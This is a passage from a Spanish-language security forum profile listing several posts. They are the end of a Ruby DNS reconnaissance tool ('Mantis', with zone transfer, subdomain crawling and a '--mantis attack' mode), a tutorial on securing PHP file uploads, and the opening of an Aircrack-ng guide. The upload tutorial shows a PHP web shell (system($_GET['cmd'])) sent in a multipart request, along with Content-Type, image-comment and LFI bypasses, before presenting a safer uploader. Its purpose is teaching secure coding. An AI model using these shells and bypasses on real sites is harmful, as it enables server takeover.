  284. def trysubsock(domain)
  285. sub='as234kj43fh2a34ieasf2234sadf3'.split('').sort_by{rand}.join
  286. begin
  287. sock=TCPSocket.new("#{sub}.#{domain}", 80)
  288. rescue
  289. puts "Incorrect IP Address or Domain Name."
  290. else
  291. sock.print("GET / HTTP/1.1\r\nHost:#{domain}\r\n\r\n")
  292. rec=sock.recv(20)
  293. sock.close
  294. if rec.include?('200')
  295. return false
  296. else
  297. return true
  298. end
  299. end
  300. end
  301.  
  302. def trysubdns(domain)
  303. sub='as234kj43fh2a34ieasf2234sadf3'.split('').sort_by{rand}.join
  304. res=Net::DNS::Resolver.new
  305. begin
  306. rcode=res.query("#{sub}.#{domain}", Net::DNS::CNAME).header.rCode_str[0]
  307. if rcode== "NXDomain"
  308. return true
  309. else
  310. return false
  311. end
  312. rescue
  313. puts "Incorrect IP Address or Domain Name."
  314. end
  315. end
  316.  
  317. def sockcrawl(sub, domain)
  318. begin
  319. sock=TCPSocket.new("#{sub}.#{domain}", 80)
  320. rescue
  321. puts "Incorrect IP Address or Domain Name."
  322. else
  323. sock.print("GET / HTTP/1.1\r\nHost:#{domain}\r\n\r\n")
  324. rec=sock.recv(20)
  325. sock.close
  326. if rec.include?('200')
  327. puts "[-] #{sub}.#{domain}"
  328. return '+'
  329. else
  330. return '-'
  331.  
  332. end
  333. end
  334. end
  335.  
  336. def dnscrawl(sub, domain)
  337. res=Net::DNS::Resolver.new
  338. begin
  339. rcode=res.query("#{sub}.#{domain}", Net::DNS::CNAME).header.rCode_str[0]
  340. rescue
  341. puts "Incorrect IP Address or Domain Name."
  342. else
  343. if rcode!= "NXDomain"
  344. puts "[-] #{sub}.#{domain}"
  345. return '+'
  346. else
  347. return '-'
  348.  
  349. end
  350. end
  351. end
  352.  
  353. def crawl(domain, sub)
  354. if ARGV[2] && File.exist?(ARGV[2]) == true && ARGV[2] != "-o"
  355. dic=File.open(ARGV[2], 'r')
  356. sub=dic.read.split("\n")
  357. elsif ARGV[2] && ARGV[2]!= "-o"
  358. puts "No such file or directory."
  359. end
  360. #arr=Array.new
  361. #while i < sub.length
  362. # x = ["#{sub[i]}","#{sub[i]}0","#{sub[i]}1","#{sub[i]}2","#{sub[i]}3"]
  363. # arr[i,1] = x
  364. # i+=1
  365. #end
  366. #sub=arr
  367. control=0
  368. succ=''
  369. print "Crawling subdomains names. This will take some minutes. Be patient.\n\n"
  370. if trysubdns(domain) == true
  371. control=1
  372. sub.each do |sub|
  373. succ << dnscrawl(sub, domain)
  374. end
  375. puts
  376. end
  377. if trysubsock(domain)  == true and control==0
  378. sub.each do |sub|
  379. succ << sockcrawl(sub, domain)
  380. end
  381. end
  382.  
  383. if  trysubdns(domain)  || trysubsock(domain)
  384. succ=succ.gsub('-', '').length
  385. print "\n-----------------------------------------------------------\n"
  386. puts "SUBDOMAINS SUCCESSES IN #{domain}: #{succ}"
  387. puts "-----------------------------------------------------------"
  388.  
  389. else
  390.  
  391. puts "The #{domain} server is protected against subdomains crawling."
  392.  
  393. end
  394. end
  395.  
  396. # The magic of Ruby has begun ^^
  397.  
  398. case ARGV[0]
  399.  
  400. when "-0"
  401. query = ARGV[1].upcase
  402. domain= ARGV[2]
  403. resolv(domain, query, 0)
  404.  
  405. when "-1"
  406. domain = ARGV[1]
  407. axfr(domain)
  408.  
  409. when "-2"
  410. domain = ARGV[1]
  411. ixfr(domain)
  412.  
  413. when "-3"
  414. domain=ARGV[1]
  415. crawl(domain, sub)
  416.  
  417. when "-4"
  418. ipi=ARGV[1].split('.')
  419. if !ARGV[2]
  420. ipf=ARGV[1].split('.')
  421. else
  422. ipf=ARGV[2].split('.')
  423. end
  424. ptr(ipi, ipf)
  425.  
  426. when "-5"
  427. ip=ARGV[1]
  428. reverse(ip)
  429.  
  430. when "--all"
  431. domain=ARGV[1]
  432.  
  433. que0={
  434. "NS" => 2,
  435. "MX" => 15
  436. }
  437.  
  438. que1={
  439. "SIGZERO" => 0,
  440. "A" => 1,  
  441. "CNAME" => 5,
  442. "SOA" => 6,  
  443. "WKS" => 10,
  444. "HINFO" => 13,
  445. "MINFO" => 14,
  446. "TXT" => 16,
  447. "GPOS" => 27 ,
  448. "LOC" => 29,
  449. "SRV" => 33
  450. }
  451.  
  452. puts mantis
  453.  
  454. que0.each_pair do |key, value|
  455. puts "Resolving #{key} query:"
  456. resolv(domain, value,0)
  457. puts "-----------------------------------------------------------------------"
  458. end
  459.  
  460. que1.each_pair do |key, value|
  461. puts "Resolving #{key} query:"
  462. resolv(domain, value,1)
  463. puts "-----------------------------------------------------------------------"
  464. end
  465.  
  466. axfr(domain)
  467. ixfr(domain)
  468. crawl(domain, sub)
  469.  
  470. when "--mantis"
  471. puts mantis
  472. domain = ARGV[1]
  473. ipi=ARGV[1].split('.')
  474. if !ARGV[2]
  475. ipf=ARGV[1].split('.')
  476. else
  477. ipf=ARGV[2].split('.')
  478. end
  479. ips=ptr(ipi, ipf)
  480. print "\n"
  481. puts "Glup! Reversing has start with:"
  482. ips.each do |ip|
  483. print "[+] "
  484. reverse(ip)
  485. end
  486.  
  487. when "-h"
  488. puts "Mantis is a tool to collect information about DNS servers of a domain name.
  489.  
  490. [-0] Makes a DNS query simple query.
  491. #{$0} -0 mx domain.net
  492.  
  493. [-1] Starts a zone transfer(s) (axfr) to all DNS servers associated with the domain name.
  494. #{$0} -1 domain.net
  495.  
  496. [-2] Starts an incremental zone transfer(s) (ixfr) to all DNS servers associated with the domain name.
  497. #{$0} -2 domain.net
  498.  
  499. [-3] Makes a crawl of subdomains in the domain name given. It includes a dictionary but you can also use your own.
  500. #{$0} -3 domain.net
  501. #{$0} -3 domain.net dic.txt
  502.  
  503. [-4] Makes a reverse domain scan with an IP address interval given.
  504. #{$0} -4 192.168.1.0
  505. #{$0} -4 192.168.1.231
  506. #{$0} -4 192.168.1.1 192.168.1.164
  507.  
  508. [-5] Resolves domains name in the same server (Vhosts).
  509. #{$0} -5 domain.net
  510. #{$0} -5 192.168.114
  511.  
  512. [--all] Make a torbelline of querys.
  513. #{$o} --all domain.net
  514.  
  515. [--mantis] Make a Mantis Attack.
  516. #{$0} --mantis 192.168.1.0
  517. #{$0} --mantis 192.168.1.231
  518. #{$0} --mantis 192.168.1.1 192.168.1.164
  519.  
  520. Enjoy =)"
  521.  
  522. else
  523.  
  524. puts "Type #{$0} for help"
  525.  
  526. end

http://n3t-datagrams.net/lab/mantis2.rb.txt

Espero gente que la pruebe con sus correspondientes críticas positivas.

gracias ^^
5  Seguridad Informática / Nivel Web / PHP upload security en: 11 Diciembre 2009, 11:30 am
En este artículo vamos a ver como programar aplicaciones seguras en PHP para la subida de archivos. Este paper está basado en el publicado por Alla Bezroutchko de "SCANIT the Security Company" en el año 2007. Como siempre, trataré de adaptarlo para que los más neófitos en la programación en PHP lo entiendan sin problemas. No obstante, cualquier problema podéis postearlo y será atendido.

La subida de archivos en la web es algo que está a la orden del día, no sólo en aplicaciones webmail para adjuntar archivos, sino también en servidores de alojamiento de imágenes, documentos de texto, pdf's, videos, etc. Para que una aplicación PHP sea segura, tenemos que atender siempre a las variables de entrada (y en ocasiones, también a las de salida!). A lo largo del paper iremos viendo diferentes aplicaciones PHP con filtros para evitar el upload de archivos dañinos y sus correspondientes bypasses. Finalmente se mostrará una forma segura de programar una aplicación no vulnerable al upload de archivos así como distintas medidas de seguridad alternativas. Si a tí, estimado lector, se te ocurre alguna forma mejor ó consideras que las expuestas aquí no son lo suficiente seguras, me encantaría que compartieras con todos nosotros tu forma de securizar las aplicaciones.


0.- Breves consideraciones:

Cuando utilizamos una aplicación PHP para subir un archivo, se crea un array superglobal que se almacena en la variable global _FILES. Antíguamente se utilizaba HTTP_POST_VARS, que aunque sigue estando disponible, ha ha caído para muchos programadores en el desuso en pro de la anterior. El array que se crea es similar a este:

Código:
Array
(
    [attachment] => Array
        (
            [name] => imagen.jpeg //Nombre del archivo
            [type] => image/jpeg //Tipo de archivo
            [tmp_name] => /tmp //Directorio temporal en el que se almacenará el archivo
            [error] => 0 //tipo de error
            [size] => 1234 //tamaño del archivo
        )
)

Y es que cuando subimos un archivo a un servidor, primero se almacena en un directorio temporal y posteriormente la aplicación lo mueve al directorio que había previsto el programador para ser almacenado. De todos estos valores, tenemos que tener cuidado con name y type porque son los únicos que tienen como origen el propio usuario ya que los demás son asignados por el servidor. Estos valores son por tanto variables de entrada que deben ser atendidas con especial atención si no queremos que nos cuelen una shell.php.


1.- Aplicación básica:

Vamos a ver una aplicación muy elemental que carece de medidas de seguridad. A partir de ahora, todas estas pruebas las puedes hacer tú en tu servidor local. Tan sólo crea una carpeta llamada "images" en el directorio raíz del servidor y asignale permisos necesarios para el usuario Nobody, que es el ocupado por Apache.

Código:
chmod -R 777

Veréis que utilizo la función is_uploaded_file() para verificar si el archivo ha sido subido. La explicación es que es necesario saber si se ha subido el archivo antes de moverlo a su directorio final porque si no se verifica y el archivo ha sido subido, podría engañarse a la aplicación spoofeando el formulario y cambiando el name='button' por name='foo' por ejemplo. Esto no movería el archivo de su directorio temporal a su directorio final, lo que nos podría permitir (dependiendo de la configuración del httpd.conf) acceder al directorio temporal. Nuestro servidor estará seguro si para los parámetros <directory /> tenemos Options FollowSymLinks y AllowOverride None. Importante no tener la opción Indexes habilitada para evitar que se expongan directorios que puedan resultar sensibles por unas razones u otras.

Código:
<Directory />
    Options FollowSymLinks
    AllowOverride None
</Directory>

Para probar, sólo tenéis que guardar el código que tenemos a continuación como upload.php y subirlo al directorio raíz de vuestro servidor.

Código
  1. <html>
  2. <head>
  3. <meta http-equiv='Content-type' Content='charset UTF-8'>
  4. <title>Aplicación básica</title>
  5. <body>
  6. <center>
  7. <h2>Uploader de imágenes</h2>
  8. <FORM method="POST" ENCTYPE="multipart/form-data" action='upload.php'>
  9. <INPUT type='file' name='archivo'>
  10. <INPUT type='submit' name='button' value='Enviar'>
  11. </FORM>
  12. <?php
  13. $dir= 'images/';
  14. if (isset ($_POST['button']) && is_uploaded_file($_FILES['archivo']['tmp_name'])){
  15. $file= $dir.basename($_FILES['archivo']['name']);
  16. move_uploaded_file($_FILES['archivo']['tmp_name'], $file);
  17. }
  18. ?>
  19. </body>
  20. </html>

Veamos la comunicación que ha tenido lugar entre nuestro navegador y el servidor:

Código:
Host: localhost
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/upload.php
Content-Type: multipart/form-data; boundary=---------------------------1022791273854029891036475525
Content-Length: 381

-----------------------------1022791273854029891036475525\r\n
Content-Disposition: form-data; name="archivo"; filename="shell.php"\r\n
Content-Type: application/octet-stream\r\n
\r\n
<?php\n
system($_GET['cmd']);\n
?>\n
\r\n
-----------------------------1022791273854029891036475525\r\n
Content-Disposition: form-data; name="button"\r\n
\r\n
Enviar\r\n
-----------------------------1022791273854029891036475525--\r\n

Bypassing básico:

¿Bypassing? No hay nada qué bypassear. Sólo sube tu shell.php y listo.

2.- Verificación por Content-Type:

El protocolo HTTP, como muchos otros protocolos de red, utiliza una serie de variables en sus cabeceras a las que asigna un valor. Content-Type es una de ellas e indica el tipo de contenido del recurso. Una medida de seguridad podría ser verificar el Content-Type de la cabecera del paquete para cerciorarnos de que efectivamente se está tratando de subir una imagen. Supongamos una aplicación uploadct.php que sólo permita subir imágenes con extensión *.gif y *.jpeg:

Código
  1. <html>
  2. <head>
  3. <meta http-equiv='Content-type' Content='charset UTF-8'>
  4. <title>Aplicación por Content-Type</title>
  5. <body>
  6. <center>
  7. <h2>Uploader de imágenes</h2>
  8. <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadct.php'>
  9. <INPUT type='file' name='archivo'>
  10. <INPUT type='submit' name='button' value='Enviar'>
  11. </FORM>
  12. <?php
  13. $dir= 'images/';
  14. if (isset ($_POST['button']) && is_uploaded_file($_FILES['archivo']['tmp_name'])){
  15. if ($_FILES['archivo']['type'] != "image/gif" && $_FILES['archivo']['type'] != "image/jpeg"){
  16. echo "<script>alert('Archivo no permitido!')</script>";
  17. }else{
  18. $file= $dir.basename($_FILES['archivo']['name']);
  19. move_uploaded_file($_FILES['archivo']['tmp_name'], $file);
  20. }
  21. }
  22. ?>
  23. </body>
  24. </html>

Bypassing Content-Type:

El bypassing de este mecanismo de seguridad es muy sencillo. Basta con coger nuestra shell.php y renombrarla a shell.jpg. De esta forma el servidor verá que _FILES['archivo']['type']=='image/jpeg' por lo que dejará subir la aplicación. Pero ¿qué hacemos con esto? ¿de qué nos sirve subir una shell con extensión de imagen?. Ahí está la gracia del bypass. Este es uno de los ataques más comunes a formularios de subida de imágenes ó al menos, es del que he visto más videotutos por la red. La ídea es modificar la cabecera del paquete, dejando tal cual el Content-Type pero modificando la extensión del archivo que estamos subiendo. Podéis ver un ejemplo de cómo hacerlo con Live-HTTP-Headers:



De tal manera, la extensión de nuestro archivo es .php, por lo que nuestro script podrá ser ejecutado sin ayuda de ningún LFI. Esto lo habremos conseguido como ya he dicho, bypasseando el filtro _FILES['archivo']['type'] vía modificación del apartado (Content-Type) de la cabecera del paquete HTTP.

2.- Verificación por getimagesize() ó exif_imagetype():

PHP incluye una función llamada getimagesize() que nos revela datos informativos sobre un archivo de imagen. Por el contrario de lo que pueda parecer a simple vista, no sólo nos revela el tamaño de la imagen, también nos revela infomación sobre el tipo de imagen vía parámetro: imageinfo. Al utilizar esta función, se genera el siguiente array:

Código:
Array[0] = Width
Array[1] = Height
Array[2] = Image Type Flag
Array[3] = width="xxx" height="xxx"
Array['bits'] = bits
Array['channels'] = channels
Array['mime'] = mime-type

De aquí nos interesa ['mime'], que nos dirá el tipo de imagen que es. ¿Qué ocurre si intentamos subir una shell.jpg? Sencíllamente, verificando con getimagesize() el índice del array 'mime' no nos dejará subir ningún archivo que no tenga la estructura propia de una imagen. Un ejemplo de uploading sería el siguiente:

Código
  1. <html>
  2. <head>
  3. <meta http-equiv='Content-type' Content='charset UTF-8'>
  4. <title>Aplicación getimagesize</title>
  5. <body>
  6. <center>
  7. <h2>Uploader de imágenes</h2>
  8. <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadgis.php'>
  9. <INPUT type='file' name='archivo'>
  10. <INPUT type='submit' name='button' value='Enviar'>
  11. </FORM>
  12. <?php
  13. $dir= 'images/';
  14. if (isset ($_POST['button']) && is_uploaded_file($_FILES['archivo']['tmp_name'])){
  15. $imaginf= getimagesize($_FILES['archivo']['tmp_name']);
  16. if ($imaginf['mime'] != "image/gif" && $imaginf['mime'] != "image/jpeg"){
  17. echo "<script>alert('Archivo no permitido!')</script>";
  18. }else{
  19. $file= $dir.basename($_FILES['archivo']['name']);
  20. move_uploaded_file($_FILES['archivo']['tmp_name'], $file);
  21. }
  22. }
  23. ?>
  24. </body>
  25. </html>

Otra función que PHP incorpora es exif_imagetype(). Al pasarle un input, genera una constante que puede ser del siguiente tipo:

Código:
1  	IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
7 IMAGETYPE_TIFF_II (intel byte order)
8 IMAGETYPE_TIFF_MM (motorola byte order)
9 IMAGETYPE_JPC
10 IMAGETYPE_JP2
11 IMAGETYPE_JPX
12 IMAGETYPE_JB2
13 IMAGETYPE_SWC
14 IMAGETYPE_IFF
15 IMAGETYPE_WBMP
16 IMAGETYPE_XBM

Comparando el resultado con la constante, es muy fácil saber si el archivo que se está subiendo es una imagen o por el contrario no:

Código
  1. <html>
  2. <head>
  3. <meta http-equiv='Content-type' Content='charset UTF-8'>
  4. <title>Aplicación getimagesize</title>
  5. <body>
  6. <center>
  7. <h2>Uploader de imágenes</h2>
  8. <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadeit.php'>
  9. <INPUT type='file' name='archivo'>
  10. <INPUT type='submit' name='button' value='Enviar'>
  11. </FORM>
  12. <?php
  13. $dir= 'images/';
  14. if (isset ($_POST['button']) && is_uploaded_file($_FILES['archivo']['tmp_name'])){
  15. $imaginf= getimagesize($_FILES['archivo']['tmp_name']);
  16. if (exif_imagetype($_FILES['archivo']['tmp_name']) != IMAGETYPE_GIF && exif_imagetype($_FILES['archivo']['tmp_name']) != IMAGETYPE_JPEG){
  17. echo "<script>alert('Archivo no permitido!')</script>";
  18. }else{
  19. $file= $dir.basename($_FILES['archivo']['name']);
  20. move_uploaded_file($_FILES['archivo']['tmp_name'], $file);
  21. }
  22. }
  23. ?>
  24. </body>
  25. </html>

Para hacer las pruebas en vuestro entorno local, tan sólo tenéis que renombrar los ejemplos como uploadgis.php y uploadeit.php respectivamente.

Bypassing getimagesize() y exif_imagetype():

Por el contrario de lo que pueda parecer, cualquiera de estas aplicaciones son fáciles de bypassear. Hace tiempo, Codebreak mostró una forma de infectar mediante LFI y la inserción de código PHP en los comentarios de las imágenes. De esta forma, con un simple LFI y un upload de imágenes en el servidor se podía ejecutar código PHP. Esto es perfectamente aplicable a este caso. La aplicación verificará que efectivamente se trata de una imagen pero al tener extension PHP, el servidor interpretará el código del comentario de la imagen y tomará la demás parte del archivo como basura, por lo que no lo tendrá en cuenta. Insertar comentarios en imágenes se puede hacer de muchas maneras, por comando type de windows, con un editor de imágenes como GIMP, etc. Veremos como hacerlo desde GIMP:

Abrimos la imagen, vamos a Imagen-->Propiedades de la imagen y en el apartado comentario insertamos el código PHP:



En el ejemplo del GIMP he utilizado una imagen pelota.jpeg. Para que se ejecute habrá que renombrarla a pelota.jpeg después de haber insertado el comentario. Una vez subida, podremos hacer cosas como esta:



Verificación por extensión:

La verificación por extension no es otra cosa que una verificación de tipo de archivo por extension del nombre del mismo. Existen diversas formas de verificar por archivo. Hace tiempo ya creó OzX un post en Undersecurity.net en el que varios usuarios fuimos poniendo nuestra propia forma de reconocer un archivo. Pongo a continuación los ejemplos y el autor:

Ozx:
Código
  1. <?php
  2.  
  3. $testcase = array("sample.txt", "sample.jpg", "sample.case.txt");
  4.  
  5. function extension($filename){
  6.    return substr(strrchr($filename, '.'), 1);
  7. }
  8.  
  9. foreach($testcase as $test) {
  10.    echo "Extension from $test is " . extension($test) . "\n";
  11. }
  12.  
  13. ?>

SH4V:
Código
  1. <?php
  2. $archivo=array("archivo.txt","archivo.jpeg","archivo.rb.txt",
  3. "archivo.html","archivo.php.txt");
  4.  
  5. foreach ($archivo as $name){
  6. $ext=explode(".",$name);
  7. $num=count($ext)-1;
  8. echo "Extensión para $name: $ext[$num]<br>";
  9. }
  10. ?>

Seth:
Código
  1. <?php
  2.  
  3. $testcase = array("sample.txt", "sample.jpg", "sample.case.txt.jpg");
  4.  
  5. function extension($filename){
  6.    $path_parts = pathinfo($filename);
  7.    return $path_parts['extension'];
  8. }
  9.  
  10. foreach($testcase as $test) {
  11.    echo "Extension from $test is " . extension($test) . "\n";
  12. }
  13.  
  14. ?>

C1c4Tr1Z:
Código
  1. <?php
  2. $files=array("example.php", "new_example.log", "third.txt", "something.asp", "another_thing.js");
  3. foreach($files as $file){
  4. $extention;
  5. if((preg_match('/(?:[\.]+([a-z0-9]{2,3}))$/i', $file, $extention))){
  6. echo "$file -> {$extention[1]}\n";
  7. }
  8. }
  9. ?>

WHK (elhacker.net):
Código
  1. <?php
  2. $files=array("example.php", "new_example.log", "third.txt", "something.asp", "another_thing.js", 'x..jpeg');
  3. foreach($files as $file){
  4. $extention;
  5. if((preg_match('/(?:[\.]+([a-z0-9]{2,3}))$/i', $file, $extention))){
  6. echo "$file -> {$extention[1]}\n";
  7. }
  8. }
  9. ?>

Bypassing por extensión de archivo:

Una verificación por extension evitaría subir en teoría subir código de riesgo a la carpeta de uploads. Sin embargo existen metodos para poder burlarla como los LFI (Local File Inclusion) que aprovechan las funciones:

Código
  1. include()
  2. include_once()
  3. require()
  4. require_once()

No entraré a explicar los LFI. Puedes encontrar un número elevado de textos si buscas por la red un poco.

Solución:

La mejor solución bajo mi punto de vista sería utilizar una mezcla de todas. Veamos un ejemplo de uploader seguro en el que se deberan de pasar varios filtros. Si se pasa el primer filtro, deberá pasarse el siguiente y así sucesivamente. Finalmente si se pasan todos los filtros la imagen se renombrará con un nombre aleatorio de 15 caracteres y su extensión correspondiente. Esta aplicación no nos protegería de una imagen con código PHP incrustado en los comentarios y extensión de imagen. Así que ¡¡CUIDADO CON LOS LFI!!

Código
  1. <html>
  2. <head>
  3. <meta http-equiv='Content-type' Content='charset UTF-8'>
  4. <title>Aplicación segura</title>
  5. <body>
  6. <center>
  7. <h2>Uploader de imágenes</h2>
  8. <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadsec.php'>
  9. <INPUT type='file' name='archivo'>
  10. <INPUT type='submit' name='button' value='Enviar'>
  11. </FORM>
  12. <?php
  13.  
  14. $dir= 'images/';
  15.  
  16. if (isset ($_POST['button']) && is_uploaded_file($_FILES['archivo']['tmp_name'])){
  17. $file= basename($_FILES['archivo']['name']);
  18. if ($_FILES['archivo']['type'] != "image/gif" && $_FILES['archivo']['type'] != "image/jpeg"){
  19. echo "<script>alert('Archivo no permitido! El archivo no es una imagen.')</script>";
  20. }elseif(exif_imagetype($_FILES['archivo']['tmp_name']) != IMAGETYPE_GIF && exif_imagetype($_FILES['archivo']['tmp_name']) != IMAGETYPE_JPEG){
  21. echo "<script>alert('Archivo no permitido! Se intentó subir un archivo envenenado.')</script>";
  22. }else{
  23. $name=$dir.substr(md5(rand()), 15, 30).extension($file);
  24. move_uploaded_file($_FILES['archivo']['tmp_name'], $name);
  25. }
  26. }
  27. ?>
  28. </body>
  29. </html>

Un método propuesto por WHK, de elhacker.net, para la validación del nombre del archivo es este:

Código
  1. <?php
  2. $nombrearchivo = 'test../../&$%;,(xx)-_-(xx)[]*\\n.jpg';
  3. $nombrearchivo = str_replace(array(
  4. "\x00", '*', '\\', '/', ':', '?', '¿', '<', '>', '|', '&', ',', ';'
  5. ), '', $nombrearchivo);
  6. echo $nombrearchivo;
  7. ?>

También sería oportuno asignar unos valores en el php.ini a las variables:

Código:
- upload_max_filesize
- post_max_size
- upload_tmp_dir

Para validar otros archivos que no sean imágenes, podemos usar fileinfo del repositorio PECL. Para ello tendremos que instalar Pear.Una vez instalado Pear, podemos instalar la librería de la siguiente manera:

Código:
pear install fileinfo

Después podemos hacerla correr añadiéndola como extensión al php.ini:

Código:
extension=fileinfo.so

ó en el propio script:

Código
  1. <?php dl(“fileinfo.. PHP_SHLIB_SUFFIX);?>

Para verificar el tipo de archivo se puede utilizar de dos maneras. La primera nos mostraría una descripción del tipo de archivo y la segunda sólo el tipo de archivo:

Código
  1. <?php
  2. finfo_file(finfo_open(), “documento.pdf”);//muestra una descripción del tipo de archivo
  3. finfo_file(finfo_open(FILEINFO_MIME), “documento.pdf”);//muestra el tipo de archivo
  4. ?>

Si alguien considera que esta aplicación no es segura del todo ó que hay alguna errata ó conoce alguna forma mejor de programarla, que postee en los comentarios su aporte y será añadio y se harán las correcciones oportunas. Toda crítica constructiva es bienvenida.


Gr33tz:

Agradecimientos a Pr0x, Protos, Lix, OzX, Yasión, Seth, Nork, S[e]C, N0b0dy, 1995, C1c4Tr1Z, WHK y a todos los miembros de Undersecurity y N3t-Datagrams.

Ejemplos:

http://n3t-datagrams.net/downloads/phpuploadsexamples.tar.gz

FUENTE:

http://n3t-datagrams.net/docs/?/=15

Saludos!
6  Seguridad Informática / Wireless en Linux / Guía completa Aircrack-ng en: 14 Octubre 2008, 23:46 pm
[Guía Completa Aircrack-ng]~

El objetivo de esta guía es ir describiendo cada una de las utilidades que nos ofrece la suite Aircrack-ng. Utilizaremos Wifislax en su versión 3.1, que lo podéis descargar de aquí. Poco a poco iré añadiendo temas a la guía. Para los que no lo sepáis, Aircrack-ng es una suite de herramientas utilizada para la auditoría de redes inalambricas. Esta suite esta compuesta por:

  -Airodump: programa utilizado para la captura de paquetes 802.11.
  -Aireplay: programa utilizado para la inyección de paquetes 802.11.
  -Aircrack: programa utilizado para crackear claves WEP y WPA-PSK.
  -Airdecap: programa utilizado para descifrar archivos de capturas WEP/WPA

Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines